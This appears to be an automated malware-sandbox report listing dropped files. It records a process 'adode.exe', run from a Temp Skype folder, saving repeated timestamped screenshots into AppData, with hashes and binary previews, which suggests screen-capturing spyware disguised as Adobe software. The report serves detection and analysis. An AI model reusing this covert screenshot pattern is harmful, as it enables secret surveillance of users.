Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241219_064809.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241219_104303.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241219_134208.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241219_175031.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241219_213904.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241220_001026.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241220_005910.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241220_022111.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241220_050126.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241220_075935.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241220_113713.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152577
Entropy (8bit):	7.924609611389319
Encrypted:	false
SSDEEP:	3072:VC9iDj5FYGyQgpgoN6kiTff2FxeYueea8FkcKxgq/W:09iDzKw+6kGff2FxE9xl
MD5:	B3B6D7F390DC1DF6D14D83AC6C9F2F27
SHA1:	240814B65093477B3D0C4BEA28D39C0F86D6E4A8
SHA-256:	D84EB9328D7AA839A92DB73C3602923E0B759C6B7B03C0BC591ED30A72611BB6
SHA-512:	F6204C98DF3ECDC8B86B2C6CFA4C21AF882F2B2BAF9EE49DBC64B9C6ED410CDA3205FD4760F9036709B0E6D3D273F97275AF270CE87C5C5B07EB7B18912396A2
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241222_174018.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152577
Entropy (8bit):	7.924609611389319
Encrypted:	false
SSDEEP:	3072:VC9iDj5FYGyQgpgoN6kiTff2FxeYueea8FkcKxgq/W:09iDzKw+6kGff2FxE9xl
MD5:	B3B6D7F390DC1DF6D14D83AC6C9F2F27
SHA1:	240814B65093477B3D0C4BEA28D39C0F86D6E4A8
SHA-256:	D84EB9328D7AA839A92DB73C3602923E0B759C6B7B03C0BC591ED30A72611BB6
SHA-512:	F6204C98DF3ECDC8B86B2C6CFA4C21AF882F2B2BAF9EE49DBC64B9C6ED410CDA3205FD4760F9036709B0E6D3D273F97275AF270CE87C5C5B07EB7B18912396A2
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241223_003144.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241223_063601.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241223_105515.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241223_141002.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241223_165333.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
